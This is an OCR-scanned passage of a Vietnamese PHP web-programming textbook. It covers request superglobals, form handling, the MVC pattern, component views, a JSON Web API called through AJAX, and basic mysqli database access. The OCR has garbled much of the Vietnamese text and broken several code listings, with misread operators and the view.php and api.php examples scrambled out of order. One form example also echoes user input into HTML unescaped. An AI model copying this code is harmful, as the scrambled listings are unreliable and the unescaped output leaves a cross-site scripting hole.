Trong nam nhiém vu ctia bén phuc vu da dwoc trinh bay ¢ Muc 6.1, hai nhiém
vu dau tién fudm ludn-dwoe-tién-hanh moi, khi nhan duocmot yeéujcau HTTP tue
trinh khach. Nhiém vu tht nhat, tiép nhanva phan tich yéu cau HTTP, duoc trinh
phuc vu web va trinkrthong dich PHP thwcthiéntw dong. Kétqua thuchién nhiém
vu thit nhat)/cac thu@c tinh va/gia trf etia yéu cau HTTP dwoe luu trong cic bd suu
tap sau day:

$GLOBALS — Mang cac bién toan cuc.

$_SERVER — Mang c4c bién tiéu dé HTTP, dwong dan va vi tri kich ban.
$_GET — Mang cac bién GET.

$_POST — Mang cac bién POST.

$_REQUEST — Mang cac bién Request (ca GET, POST va COOKIE).
$_FILES — Mang cac tép upload.

$_SESSION — Mang cac bién phién.

$_ENV — Mang cac bién moi truong.

$_COOKIE — Mang cac bién cookies.

Dé€ biét noi dung cua ting bo suwu tap, co thé dung ham var_dump($var), trong
d6 $var la mot trong cac bd suu tap duoc liét ké o trén. D€ biét mot phan twe (khoa)
nao dé cé ton tai trong mot bo swu tap hay khong, st dung ham isset($varlkey]).
Ngoai ra, dé€ biét gia tri ctia phan t&r trong bo suu tap da dwoc gan gia tri hay chua,
stt dung ham kiém tra empty($var[key]).

Thong thwong, tng dung cung cdp biéu nhéap (form) cho ngwoi dung nhap dir
liéu. Khi d¢, tuy vao phuong thitcc HTTP ma form st dung la GET hay POST, dit
liéu ctia nguoi dung sé dugc luu vao mang $_GET hoac $_POST, twong ung.
Phuong thitc GET duoc st dung trong nhitng trieong hop dit liéu nhap it, ngan va
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dé nhap. Trong nhitng truong hop nhw vay, st dung chudi truy van trong URL,
thay cho bi€éu nhap, 1a du. Vi duy, trang sum.php sau day cho phép nguoi dung
nhap hai s6 x va y trong chudi truy vadn cia URL, tinh va tra vé gia tri tong cua
ching. Vi du don gian nay cho thay ba buéc xir Iy chinh ctia tng dung bén phuc vu.
Dau tién, ing dung can phai kiém tra cdic rang bugc trén div liéu nguoi dung d€ dam
bao dit liéu duoc nhap day du va dung d4n. Chi khi dit liéu vao duwoc dam bao,
tmg dung mdi tiép tuc bang viéc thyre thi mot thuat toan nao d6 nham gidi quyét
bai todn d€ thu veé két qua. Véi trang sum.php, bai toan dwgc dat ra hét stec don gian
la tinh tong hai s0. Khi da c6 két qua, tng dung trd két qud ra dap 1tng HTTP d€
hoan tat qua trinh x& ly bén phuc vu. Véi trang sum.php, biéu thirc va gia tri cta
biéu thitc tong dugc dua ra than cua dap tng HTTP. Néu nguoi dung nhap trén
thanh dia chi URL sum.php?x=1&y=2, nguoi dung sé nhan duoc két qua trén giao
diénla "1 +2=3". Néu nguoi dung nhap trén thanh dia chi URL sum.php?x=1&y=a,
nguoi dung sé nhan dwoc thdong bao "y phai la sd " trén giao dién.
1. <?php
: // sum.php

2
3
4. // Budc 1: Kiém tra cac rang budc trén dir 1iéu vao

5. if (l!isset($_GET["x"])) { echo "Chuwa nhap x"; exit(); }

6 if ('is_numeric($_GET["x"])) { echo "x phadi la so"; exit(); }
7 if (lisset($_GET["y"])) { echo "Chuwa nhap y"; exit(); }

8 if ('is_numeric($_GET["y"]1)) { echo "y phadi la so"; exit(); }

10. // Budc 2: Giai bai toan
11. $sum = floatval($ GET["x"]) + floatval($_GET["y"]);

12.
13. // Budc 3: Xuat két qua
14. echo $_GET["x"]." + ".$ GET["y"]." = ".$sum;

Phuong thirc POST dwoc khuyén céo st dung d€ nhap liéu trong moi truong
hop, ké ca treong hop di liéu nhap it va ngén. Trang sum2.php sau day thuc hién
cung chtrc nang voéi trang sum.php & trén, khéc la trang sum2.php cung cip biéu
nhdp cho nguoi dung nhap cac gia tri x, y va giti dit liéu dén bén phuc vu theo
phuong thiec POST. Néu dit liéu da duoc nhap va dé trinh, trang sum2.php thuc
hién ba budc chinh nhu trang sum.php. Ngoai ra, dit liéu nguoi dung dwoc xuat
nguoc lai 1én cac 6 nhap dé nguoi dung dé dang theo ddi cling nhuw thay ddi cac
gia tri roi dé trinh tiép.

1. <?php

2. // sum2.php

3.

4, // Pa dé trinh form

5.  if (isset($_POST["x"]) && isset($_POST["y"]1)) {

6. // Budc 1: Kiém tra cac rang budc trén dir 1iéu vao

7. if (!is_numeric($_POST["x"])) { echo "x phai la sé"; }
8. else if (!is_numeric($_POST["y"])) { echo "y phai 1a sé"; }
9. else {

10. // Budc 2: Giai bai toan

11. $sum = floatval($_POST["x"]) + floatval($_POST["y"]);
12. // Budc 3: Xudt két qua
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13. echo $ POST["x"]." + ".$_POST["y"]." = ".$sum;

14. }

15. }

16. ?>

17.<form method="post">

18. x = <input type="text" name="x"

19. value="<?php echo (isset($_POST["x"]) ? $ POST["x"] : ""); ?>"><br>
20. y = <input type="text" name="y"

21. value="<?php echo (isset($_POST["y"]) ? $_POST["y"] : ""); ?>"><br>
22. <input type="submit" value="Submit">

23.</form>

Dé€ chen tiéu dé vao dap ting HTTP, PHP cung cap ham header(). Chen tiéu dé
HTTP sé& duoc nhac dén trong cac chwong tiép theo khi trinh bay nhiing van dé
lién quan.

Luu y, ngoai ba budc xtt ly chinh nhu dwoc minh hoa trong cac vi du ¢ trén,
trong nhitng Gng dung thuc t€ mot sd bude xtr ly khéac cling dwoc thuc hién dé
thiec hién cdc nhiém vu con lai bén phuc vu (cdc Muc 6.1.3, 6.1.4, 6.1.5). Nhitng
nhiém vu hay s€ duroc trinh bay trong nhitng chwong riéhgrsau chwong nay.

6.4. MAU THIET KE-MVC

Mau thiét ké Model-View-Controller (MVC) duoc Trygve Reenskaug dé xuat
trong nghién cttu ctia minh vao nam 1979. MVC thuee chat la mot y tuwong trong
thiét ké kién trac hé thong ma cu thé la chia hé thdng thanh cac phan mét cach
khoa hoc dé€ dap ung dugc yéu cau cua mot hé thong 16n va phuc tap. Cu thé,
MVC xem ttng dung gém ba thanh phan dong ba vai tro khac nhau va anh huédng
1an nhau: mé hinh (model), giao dién (view), va diéu khién (controller). Thanh phan mo
hinh ¢é nhiém vu xt ly logic cua ting dung, cung cdp dit liéu, thuong thao tac véi
CSDL. Luu y khdng duwgc dong nhat mé hinh véi dr liéu. M6 hinh dwoc hiéu la
bai toan véi thuan toan va cdu truc dit liéu cua nd. Dit liéu chi 1a két qua xi ly cta
md hinh hay ctia bai todn. Thanh phan giao dién cung cap trinh dién va twong tac
véi véi nguoi dung, bao gom hién thi dit liéu ra man hinh, cung cdp cac thue don,
nut bam, hop thoai, chon lya ..., d€ nguwoi dung cé thé thém, x0da, stra, tim kiém va
thue hién nhiéu thao tac khac. Thanh phan diéu khién c¢6 nhiém vu diéu phoi hoat
ddng cua cac thanh phan mo hinh va giao dién. Véi ting dung web, tuwong tac gitra
cac thanh phan dugc minh hoa trong Hinh 6.1. Thanh phan diéu khién c6 nhiém
vu giao ti€p véi trinh khac. N6 la thanh phan ti€p nhan yéu cau HTTP tit trinh
khach va tra ddp tng HTTP cho trinh khach. Mdi khi nhan duwgc yéu cau HTTP,
thanh phan diéu khién chuyén yéu cau dén thanh phan mé hinh véi y nghia yéu
cau HTTP chinh la d@ liéu vao cua bai toan. Thong thuong, yéu cau HTTP (dinh
dang van ban) duoc thanh phan diéu khién chuyén thé sang mot dang khac dé xte
ly hon (vi dy, d6i twong) truwdc khi dwoc chuyén tiép téi thanh phan mo hinh.
Thanh phan md hinh thwc hién nhiém vu giai bai toan vdéi dau vao la yéu cau
HTTP. Két qua xt ly 1a di liéu ra dugc thanh phan mo hinh tra lai cho thanh phan
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diéu khién. Thanh phan diéu khién c6 thé sit dung dit liéu nay dé tra vé cho trinh
khach. Thanh phan diéu khién cting c6 thé chuyén di liéu ra, la két qua bai todn,
cho thanh phan giao dién dé€ thanh phan giao dién chuyén thé di liéu thanh mot
dang noi dung web nao d6 (HTML, JavaScript, CSS, JSON, ...). Noi dung web sau
dé duoc thanh phan giao dién tra lai cho thanh phan diéu khién va thanh phan
diéu khién dua ndi dung web vao dap tng HTTP d€ gui cho trinh khach.

il upRRganet . - | Iequest Data Objects
[Client “1 icontroller fodal
Ea— .| __MpResponge___ | T e __reum_____ |
M
i

I
send Formatted Responsg dend Model Data Objects
| |

Diiewy

Hirth 6:1Morhinh MVC-ap,dung/choj iing/dung web(nigudnInternet)

Kién trac MVC, nhw, viaduogmo tadtrényphan chia nhiém vu cho cac thanh
phan khéac nhau, gitp cho viéec phéttrién, bao tri, md rong phan mem c6 thé duoc
thiee hién dé dang hon. Trude day, khi chuwa ap dung MVC, ca ba nhiém vu (giai
bai todn, trinh dién két qua, va diéu phdi) duoc thuc hién boi mot thanh phan duy
nhét va duoc viét trong cung mét tép. Kién trac ba-trong-mét nhw vy, duoc goi la
kién triic phang (flat), to ra kém hiéu qua va gay khé khan cho viéc phat trién, bao
tri, m& rong phan mém, déc biét véi phan mém 16n va phtc tap.

Xét mot cai ddt tng dung theo kién truc MVC, twong phan véi kién trac
phang, théng qua vi du cu thé sau day. Trang sum.php & vi du trudc da cai dat ting
dung tinh tong hai s§ theo kién tric phang. RS rang, trang nay chua cho thdy
nhitng han ché cta kién tric phang. Tuy nhién, hay hinh dung khi thay bai toan
tinh tdng bang mdt bai toan phitc tap nao dé doi héi ca tram dong lénh dé xt ly
nghiép vu va chuc dong 1énh khac d€ trinh dién két qua, ma ngudn trang sum.php
sé rat dai, kho theo ddi va 1an 1on gitta ma xtr ly nghiép vu véi ma tao trinh dién.
Hay t6 chtrc lai trang sum.php bang du &n sum theo kién tric MVC nhu sau. Ba tép,
model.php, view.php va control.php dugc tao trong du an nay cung voi tép index.php.
Tén ctia cac tép ndi 1én thanh phan ma né cai dit.

Tép model.php c6 ndi dung nhu sau:

1. <?php

2 // model.php: Tinh téng hai s6&
3 class SumModel {

4, // Input:

5 private $x; // S6 thi nhat

6 private $y; // SO thi hai

7 // Output:

8 private $sum; // Téng
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9.

10. // Nhan dir liéu vao

11. public function __construct($x, $y) {

12. $this->x = $x;

13. $this->y = $y;

14. }

15. /**

16. * Gidi bai toan

17. */

18. public function solve() { $this->sum = $this->x + $this->y; }
19. /**

20. * Tra két qua

21. */

22. public function getSum() { return $this->sum; }
23. }

Mo hinh dwoc cai dat béng mot 16p voi cac thudce tinh thé hién dau vao va dau ra
cua bai toan, cac phuong thirc cai dat thudn toan giai quyét bai toan. Cé thé thay
rod r@“mg ma nguoén mo hinh doc lap véi giao dién va voi diéu khién. Co thé sk
dung lai 16p,mo_hinh nay ¢ bat ky dw an nao. Khi thay,déi cai dat bén trong md
hinh, vi du-thay-ddi than cac phuong thiic'theo mét thuat'tean tién tién hon, du an
sé khong bi anh hwréng, mo6.hinh van dugc tich hop va lam viéc tot vdi cac thanh

phén con lai.

Tép view.php c6 ndi dung nhu sau:

// Nhan di&tr 1iéu vao va ra
public function _ construct($x, $y, $ret) {

= $x;

$this->ret = $ret;

* Tao trang web tu dir 1iéu tho

public function render() {
$html = "<!DOCTYPE html>";

"<html>";
"<head>";

"<title>Tong hai so</title>";

"<meta charset="utf-8'>";
"</head>";

"<body>";

"<h1>Téng hai s6</h1>";
$this->x;

mogom

$this->y;

1. <?php

2. /%%

3.

4. Y

5. class SumView {
6. private $x;
7. private $y;
8. private $ret;
9.

10.

11. $this->x
12. $this->y = $y;
13.

14. }

15. /**

16.

17. */

18.

19.

20. $html .
21. $html .
22. $html .
23. $html .
24. $html .
25. $html .
26. $html .
27. $html .
28. $html .
29. $html .
30. $html .
31. $html .

- )
$this->ret;

* view.php: Trinh dién k&t qua tinh téng hai s6



32. $html .= "</body></html>";
33. return $html;

34, }

35. }

Thanh phan giao dién duoc cai dat boi mot 16p véi cac thudc tinh 1a dit liéu ra, c6
thé ca dir liéu vao, cua bai toan. Lép giao dién cung cdp cac phuong thirc chuyén
thé dix liéu sang noi dung web tuong tu phwong thitc render() trong vi du nay. Ro6
rang, ma nguon giao dién cling doc lap v4éi ma nguodn cua cac thanh phan khac.
Viéc cap nhat giao dién khong anh huwong dén cac thanh phan khac va hé thong
van lam viéc tét.

Tép control.php c6 ndi dung nhu sau:

1. <?php

2. /%%

3. * control.php: Piéu khién chuong trinh tinh téng hai s6
4. W/

5. require_once("model.php");

6. require_once("view.php");

7.

8. class SumControl {

9. public function proc() {

10. // 1. Nhan yéu cau, kiém tra cac tham sé

11.

12. if (isset($_GET["x"]) && isset($_GET["y"]) &&
13. is_numeric($_GET["x"]) && is_numeric($_GET["y"]1)) {
14. $x = floatval($_GET["x"]);

15. $y = floatval($_GET["y"]1);

16.

17. // 2. Goi model dé xi ly nghiép vu

18. $model = new SumModel($x, $y);

19. $model->solve();

20. $ret = $model->getSum(); //K&t qua xi ly nghiép vu
21.

22. // 3. Goi view dé tao ndi dung

23. $view = new SumView($x, $y, $ret);

24. $html = $view->render();

25.

26. // 4. Tra 10i trinh khach

27. echo $html;

28. } else {

29. echo "Nhap x, y la cac s6. Vi du ?x=38&y=-4";
30. }

31. }

32. }

Thanh phan diéu khién dwoc cai dat bf?mg mot 16p vdi cac phuong thitc thye hién
chttc nédng diéu phdi, nhu phuong thikc proc() trong vi du nay. Méi phuong thikc
thuc hién diéu phdi ctia thanh phan diéu khién con duoc goi 1a mot hanh dong
(action). Hanh dong diéu phdi thuc hién kiém tra di liéu vao, chuyén di liéu vao
cho thanh phan mo hinh, nhan két qua xt ly t& thanh phan m6 hinh r6i chuyén
cho thanh phan giao dién, nhan ndi dung web ttr thanh phan giao dién réi gui cho
trinh khach. Ngoai ra, hanh dong diéu phdi cing phai dam nhan mot sd budc xw
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ly khac dé thuc hién cdc nhiém vu con lai bén phuc vu (cac Muc 6.1.3, 6.1.4, 6.1.5).
Nhitng nhiém vy nay sé duwoc trinh bay trong nhitng chuwong riéng sau chuong
nay.
Cudi cung, trang index.php, khai thac cac thanh phan ké trén, c6 ndi dung nhu
sau:
<?php
require_once("control.php");

$ctrl = new SumControl();
$ctrl->proc();

A WN PR

Déi tuwong diéu khién dwgc khai bao va hanh ddng cta né duoc goi dé bat dau
thire thi chudi xtr Iy v6i sy tham gia ctia ca cdc thanh phan md hinh va giao dién &
phia sau.

6.5. GIAO DIEN CAU PHAN

Trong thiet k&€ MVC, thanh-phén'giao'dién’ c6 thé'tra’ vé:mot trang 'web day du,
nhu trang wiew.php & vi du trwedc, nhung, cling c¢o.thé chi tra vémot doan ndi dung
cau phan cua trang web ma thoil Viéc tra vé cac doan cau phéan trang web cb vu
diém, so v4i tra vé ca'trang day du, la khdnangtich hop cau phan trang web vao
bat ky vi tri nao ¢ trang bat ky.

Xét vi du thanh phan giao dién MVC tra vé cdu phan trang web nhu sau. Du
an sum & Muc 6.4 sé duoc thay do6i noi dung cac tép view.php va index.php. Trong
tép view.php, phuwong thikc render() ctia 16p SumView khong tra vé ca trang web nira
ma chi tra vé mot d6i tuwgng <div> chita ndi dung can hién thi. Ma nguon tép
view.php duoc stra ddi nhw sau:

1. <?php
2 // view.php: Trinh di&n két qua tinh téng hai s6
3 class SumView {
4, private $x;
5 private $y;
6
7
8

private $ret;
// Nhan dit 1iéu vao va ra

. public function _ construct($x, $y, $ret) { ... }
9. //
10. // Tao cau phan trang web tu dir 1iéu tho
11. public function render() {
12. $html = "<div> ";
13, $html .= "<h1>Téng hai s&</h1>";
14. $html .= $this->x;
15. $html .= " + ";
16. $html .= $this->y;
17. $html .= " = ";
18. $html .= $this->ret;
19. $html .= "</div>";
20. return $html;
21. }
22. }
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Tép index.php duoc stra d6i twong ting dé tao khung cho trang web, sau d6 tai
cau phan trang web do SumView tao ra. Ma nguon tép index.php dugc stta d6i nhw
sau:

1. <IDOCTYPE html><html><head>

2 <title>L.6.5</title>

3 <meta charset="utf-8">

4. </head><body>

5. <?php

6. require_once("control.php");
7 $ctrl = new SumControl();

8 $ctrl->proc();
9. ?>
10. </body></html>

6.6. WEB API

Trong nhiéu truong hop, bén phuc vu tham chi khong cé thanh phan giao dién
va khong |trd, vé-trang-webjhay,cdu phan-trang web.\Thanh phan diéu khién sé
chuyén nguyén dit liéu vé,cho mat trede. Mat trude sé.cap nhat giao dién theo d
liéu nhan dugc, Uu di€m aideach 1am Aayila imdttraede cd todifnguyenivoi dix liéu
nhan duwoc, Mat treeoc co thé tag, cdp nhat/cag doi twong DOM dua/trén di liéu
nhan dugc hodc phan tich va khai thac di liéu nhan dwoc theo cach nay hay cach
khéc. Viéc mat sau tra vé dix liéu cho mat truede la thuce hién theo kién trac thick
client — thin server giap tdng hiéu nang va cai thién trai nghiém nguoi dung cua
tng dung web.

Mat khac, khi mat sau tra vé dix liéu, cac itng dung bén ngoai ciing c6 thé khai
thac cac chtrc nang va dir liéu duoc cung cap boi mat sau. Mot ting dung bat ky co
thé gtri dit liéu can xtt ly (input) dén mat sau ctia tng dung web bang yéu cau
HTTP va nhan két qua (output) bang dap ing HTTP chita dit liéu. Mat sau cta
tng dung web, theo cach nay, cung cap cac API, duoc goi la Web API, cho phép
tich hop cac ing dung mot cach linh hoat. N6i mot cach don gian, Web API 1a tai
nguyén web dong khong tra vé HTML, JavaScript, hay CSS ma tra vé di liéu mdi
khi n6 duoc yéu cau. Chirc ndng cua mdi Web API 1a thue hién mot cdng viéc gi
do, xt ly di liéu vao va tra két qua hay dit liéu ra. Web APIs giong nhu cac ham
xte Iy trong mot thrr vién & xa trén Internet. Ung dung triéu goi Web API bang
cach gti yéu cau HTTP va nhan két qua tie dap ung HTTP.

Dinh dang d@ liéu dwoc tra vé boi cac Web APIs thuong la XML, JSON. Xét vi
du mot Web API tra vé dit liéu JSON nhuw sau. API nay c6 tén la SumAPI, tiép
nhan hai s6 thuc va tinh tong cta hai s, tra vé tong cung hai sd hang ¢ dinh dang
JSON. API déng vai tro nhu thanh phan diéu khién, goi dén thanh phan mo hinh
dé xt ly bai toan roi chuyén két qua & dinh dang JSON cho tng dung c6 yéu cau.

1. <?php // Tép api.php
2. require_once("model.php");
3.
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00N OV B

9.

10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.

class SumAPI {
public function proc() {
// 1. Nhan yéu cau, kiém tra cac tham sé

}

$api

}

if (isset($_GET["x"]) && isset($ _GET["y"]) &&

}
}

is_numeric($_GET["x"]) && is_numeric($_GET["y"])) {
floatval($_GET["x"]);
floatval($_GET["y"]);

$x
$y

// 2. Goi model dé xir ly nghiép vu

$model = new SumModel($x, $y);

$model->solve();

$sum = $model->getSum(); // K&t qua xir ly nghiép vu

// 3. Tra vé dir 1iéu JSON

$arr = array("x"=>$x, "y"=>%y, "sum"=>$sum);

echo json_encode($arr);

else {

echo "{"ret":"Nhap x, y la cac s6. Vi du ?x=38&y=-4.5"}";

= new SUmAPI();

$api->proc();

Luc nay, mét truoc hoac ting dung bat ky|co thé triéu goi SumAPI béng URL
"api.php?x={v1}&y={(v2}", trong d6 {v1}, {v2} 1a hai s thuc. Vi duy, trang web sau day
st dung JavaScript, AJAX goi dén SumAPI @€ tinh tong cta hai s 3.2 va 9.5, roi
hién thi biéu thiec "3.2 +9.5=12.7" trén giao dién.

1
2
3
4.
5
6
7
8

9.

10.
11.
12.
13.

bj.y +
14.
15.
16.
17.
18.
19.

<!DOCTYPE html><html><head>

<title>L.6.6</title>
<meta charset="utf-8">

</head><body>

<div id="content"></div>

<script type="text/javascript" src="xmlhttp.js"></script>
<script type="text/javascript">

var xmlhttp = getXmlHttpObject();
xmlhttp.onreadystatechange = function() {

if (this.readyState == 4) {

};

}

if (this.status == 200) {
var obj = JSON.parse(this.responseText);
document.querySelector("#content").innerHTML = obj.x +

=" + obj.sum;

}

+ " +o0

xmlhttp.open("GET", "api.php?x=3.28y=9.5", true);
xmlhttp.send(null);

</script>

20. </body></html>
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Bai tap

1. Viét trang PHP cho phép nhan mdt chudi ky tw dwoc nguroi diing nhap ti trinh
duyét va tra vé cho trinh duyét xau ky tw da duwgc chuan hda (xdéa cac dau
tréng khong can thiét, viét hoa cac ky tu dau mdi t, viet thuong cac ky tw con
lai). Phat trién mot Web API cung cap chitc nang chuan hoéa xau.

2. Phét trién trang PHP cho phép nguoi dung upload anh va download anh da

upload.

Poc thém

1. Josh Lockhart, "Modern PHP: New Features and Good Practices, 1st Edition",
O'Reilly Media, 2015.

2. Budi Kurniawan, "Servlet & JSP: A Beginner's Tutorial", Brainy Software, 2016.
3. Adam Freeman, "Pro ASP.NET Core MVC 2, 7th Edition", Apress, 2017.
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Chuong 7
THAO TAC CO SO DU LIEU

7.1. TONG QUAN

Céc ttng dung web ngay nay thuong phai thao tac vdi co s¢ dit lieu. Co sé dix
liéu c6 chitc ndng luu trit bén viing dit liéu ngwoi dung va két qua xa ly cua tng
dung. No6i dung web dugc ttng dung tao ra sé can ct vao dit liéu. D liéu khac
nhau dan dén noi dung web duoc tao ra khac nhau. Néi cach khac, dit liéu dong
vai tro nhu nguyén liéu dé tao ra ndi dung “ddng” cho trang web.

PHP hd tro nhiéu thw vién khac nhau cho thao tac véi co s dit liéu. Thu vién
thit nhat, mysqgl_, ra doi tt nhitng phién ban dau tién cua PHP, cho phép thao tac
voi co sO dirlieu MySQL-theo phwong,phéap lap trinh, tha . tyc. Tt PHP 5.5 tro di,
mysql_ chinhrthtrc bi loai bo. Thuw vién thtt hai, mysqli, ra doi tir phién ban PHP 5.0,
cho phép thao tac/vdiseo so, dit lieu MySQL, theo-ea phuong phap lap tsinh thu tuc
va lap trinh huwdng d6itieong. Thuevién tha ba, PDO (PHP Data Objects), ra doi ti
phién ban PHP 5.0, cho phep thao tac véi nhiéu he co so dix liéu khac nhau, ngoai
MySQL con nhiéu hé quan tri co s¢ di liéu khac, theo phuwong phap lap trinh
huéng d6i tuong.

MySQL 1a hé quan tri co so dix liéu duoc dung pho bién, ddc biét vdi lap trinh
vién PHP. T6 hop dwoc wa thich la LAMP (Linux, Apache, MySQL, PHP) hodc
XAMP (X, Apache, MySQL, PHP), trong d6 X (cross) am chi hé diéu hanh bat ky.
biéu d6 c6 nghia, Apache, MySQL, PHP ciing c6 thé duoc dung trén Windows
hay MAC OS. Ngoai MySQL, nhiéu hé quan tri co s¢ d@r liéu khac nhw
PostgreSQL, Oracle, MongoDB, MS SQL, ... cing c6 thé duoc dung véi PHP.

Bat luan thw vién va hé quan tri co s& di liéu nao dugc str dung, vé co ban,
thao tac co so dit liéu gom cac budce chinh sau:

1. Tao két ndi dén may chu co sd dir liéu

2. Luwa chon co s dir liéu dé lam viéc

3. Xay dung cac truy van, cap nhat va thuc hién truy van, cap nhat

4. X& ly dix liéu két qua tra vé khi thuc hién cac truy van, cap nhat

5. Déng két ndi dén may chu co sé dir liéu
Ngoai ndm thao tac chinh nhu liét ké ¢ trén, thay d6i cau trtic bang, thuc thi giao
tac, ma hoa dit liéu, ... 1a mot vai thao tac khac cling c6 thé dugc yéu cau. Thao tac
co so dit liéu sit dung mysqli va PDO cta PHP sé duogc trinh bay trong cac muc
tiép theo.
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7.2. MYSQLi

7.2.1. Cai dit va cau hinh

Tt phién ban PHP 5.3, thu vién mysqli dwoc cai dat va bat theo mac dinh. Diéu
d6 c6 nghia chi can cai dat PHP 5.3 tro 1én la c6 thé thao tac vdi co so di liéu
MySQL. Néu st dung cac phién ban PHP 5.0, 5.1 hay 5.2, 1ap trinh vién can cai dat
g6i php-mysql &€ c6 mysqli, dong thoi can bat mysgli bang cach dua vao tép ciu
hinh php.ini dong c6 ndi dung extension=php_mysqli.dll. Nhac lai rang, thu vién
mysqli 1a mot mo rong cua PHP dé€ thao tac véi co so dit liéu MySQL chit khong
phai mot hé quan tri co s6 dir liéu nao khac. Néu hé quan tri co s6 di liéu la
MySQL va lap trinh vién PHP khong c6 y dinh chuyén sang mot hé quan tri co s
dit liéu khac thi mysqli 1a mot lwa chon t6t. N6 h trg tat ca nhitng déc trung cua
MySQL va cho phép thao tac vdi MySQL 6 mét toc do cao.

7.2.2. Mé va dong két ndi co so dit liéu

Thu vien mysqli cho phép thao tac voi MySQL theo ca lap trinh tha tuc va lap
trinh hudéng doi twongnGidetrinh'chi trimhwbaysse dung mysglitthep phwong phap
lap trinh hwdng do6i tuong vi day*la phuong phap lap trnh chinh'dwtoc stt dung
ngay nay. De két ndi den may cha MySQL va lira chon co s¢ dit liéu lam viéc, tng
dung can tao mot d6i twong mysgli theo ¢ phap

$db = new mysqli($host, $username, $passwd, $dbname, $port)

trong d6, $host la dia chi IP hodc tén mién cua mday chu MySQL, $username va
$passwd la tén str dung va mat khau nguoi dung co s¢ dix liéu, $dbname la tén co so
dit liéu, va $port 1a cong duoc MySQL lang nghe. Cong méc dinh cho MySQL la
3306. Néu st dung cdng mac dinh thi tham sd $port khong can dwoc chi dinh
trong ham tao doi twong mysqli. Két qua cua ham tao mysqli, néu thanh cong, la
mot d6i tuong két ndi dén co so dit liéu duwgc chi dinh. Nguoc lai, néu cé 16i
khong két ndi duoc, s6 16i va ma 16i sé duwoc tra vé trong cac thudc tinh
connect_errno, connect_error, teong &ng.

Dé dong két ndi co so dit liéu, sit dung phuwong thire close(), khong c6 tham so,
cua mysqli. Thao tac nay tuy don gian nhung rat quan trong vi né ¢é tac dung giai
phong cac tai nguyén da cap cho két ndi. Néu tng dung khong déng két ndi, sau
nhiéu lan thao tac co s& di liéu, nhiéu két ndi dwgc mo ra nhung khong duoc
doéng lai dan dén tai nguyén bi chiém dung lang phi va hiéu nidng cua tng dung bi
anh huong.

Ma ngudn thao tac co s dix liéu str dung mysgli tdng quat c6 dang nhu vi du
sau day.

1. <?php

2. // M& két ndi co s& dir liéu

3. $db = new mysqli("112.113.114.115", "canbo", "canbo@123", "thuvien");
4. if ($db->connect_errno) {
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5 echo "L&éi: ".$db->connect_error;

6 exit();

7. }

8.

9. // Cac thao tac co s& dir 1iéu: truy van, cap nhat
10.// ...

11.

12.// Péng két ndéi co s& dir liéu
13. $db->close();

7.2.3. Cap nhat co so dit liéu

Phuong thiic query() cua doi twong mysqli duoc st dung dé€ cap nhét co so div
liéu. Tham s6 dwgc sit dung la cau 1énh update, delete, insert hay alter ctia SQL. Vi
duy, doan ma sau thiec hién cap nhat sach trong co so dit liéu.

1. <?php

2. // M& két ndi co s& dir 1liéu

3. $db = new mysqli("112.113.114.115", "canbo", "canbo@123", "thuvien");
4. if ($db->connect_errno) { echo "Ldi: ".$db->connect_error; exit(); }
5.

6. // Cap nhat co s& dir liéu

7. $result = $db->query("update Sach set tieude='Lap trinh C++'

where id="1"'");
8. if ($result) { echo "Pd cap nhat sach thanh coéng"”; }
9. else { echo "L&i: (". $db->errno .") ". $db->error; }
10.
11.// Déng két nbéi co s& dir liéu
12. $db->close();

7.2.4. Truy van va xt ly két qua

DPé€ thyc hién cau truy van, mysgli st dung phuong thirc query() v6i tham s6 1a
cau truy van SQL. Két qua truy van tra vé la mot tap ban ghi. Doi tuong tap ban
ghi c¢6 phuong thiic fetch_assoc() d€ chuyén d6i ban ghi d@ liéu vé kiéu mang cua
PHP. Khi thue hién phuong thitc nay, mdi ban ghi dit liéu dwoc chuyén d6i thanh
mot mang voi tén trueong trong co sd di liéu tro thanh khoa cta cac phan tw
mang. Mdi [an dwoc goi, fetch_assoc() sé tra vé mot mang twong tmg véi ban ghi
hién tai, dong thoi dua con chay sang ban ghi ti€p theo. Do vay, can ldp lai loi goi
phuong thiic fetch_assoc() d€ duyét qua tat ca cac ban ghi. Vi du sau day thuc hién
truy van co s& dix liéu d€ 18y danh sach cac sach gido khoa, duyét va in ra tiéu dé
cung tén nha xudt ban cua ting sach. Luvu y, sau khi st dung xong doi tugong tap
ban ghi, can goi phuong thic close() ctia nd d€ giai phong tai nguyén do noé chiém
gitr.

1. <?php
2. // M& két ndi co s& dir liéu
3. $db = new mysqli("112.113.114.115", "canbo", "canbo@123", "thuvien");
4. if ($db->connect_errno) { echo "L&i: ".$db->connect_error; exit(); }
5
6
7
8

// Truy van va xu ly két qua
if ($result = $db->query("select * from Sach where nxb="DHQGHN'")) {
while ($row = $result->fetch_assoc()) {
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9. echo $row[ 'tieude']." ".$row['nxb']."\n";

10. }

11. $result ->close();
12.}

13 ¢

14.// Péng két ndéi co s& dir liéu
15. $db->close();

7.2.5. Cau lénh chuan bi tredc

Giong nhu nhiéu cong nghé thao tac co s¢ dit liéu khac, mot trong nhitng dac
trung quan trong cua mysqli la cac cdu Iénh chudn bi truéc (prepared statements)
hay con goi la cdu [énh c6 tham s6’(parameterized statements). N6 cho phép viét cau
lénh mot Ian va thuee thi nhiéu [an véi cac tham s6 khac nhau. Cau 1énh c6 tham s6
duoc bién dich trudc nén thuee thi véi toc do nhanh. N6 gitp cai thién hiéu nang
khi phai lam viéc véi bang 16n hodc cau truy van phtrc tap. Hon nita, do kha néng
lam sach dit liéu gan cho tham s, cac cau 1énh chudn bi trude gitip ngan chan cac
tan cong tiém nhiém SQL. Néi chung, cay lénh chuan bi trudc duoc khuyén cao st
dung thay-cho ‘ehay ‘truec tiépeau 1énh'SQL, nham! dam bao-afrnihh! va cai thién
hiéu nang:

Cau lénh/chuan bi truede duwog¢ Xt ly theo hai giao doan: chuan biva thuc thi. O
giai doan chuan bj, mau (template) cau lenh duoc gui dén he quan tri co so dix
liéu. Hé quan tri co so dit liéu thuc hién phan tich ¢ phap, t6i wu hoa cau hoi, va
khoi tao sén sang céc tai nguyén. Dén giai doan thuec thi, tng dung budc cac gia tri
tham s@ va giri chung dén hé quan tri co s& di liéu. Hé quan tri co sé dix liéu tao
cac lénh tr mau lénh va gia tri tham s& dé€ thuc thi cau lénh st dung cac tai
nguyén da khai tao truedce do.

Vi thu vién mysqli, giai doan chudn bi duoc thye hién béng cach goi phuong
thitc prepare($sqltpl) cua 16p mysqli, trong d6 $sqltpl 1a mau cau 1énh SQL. Mau cau
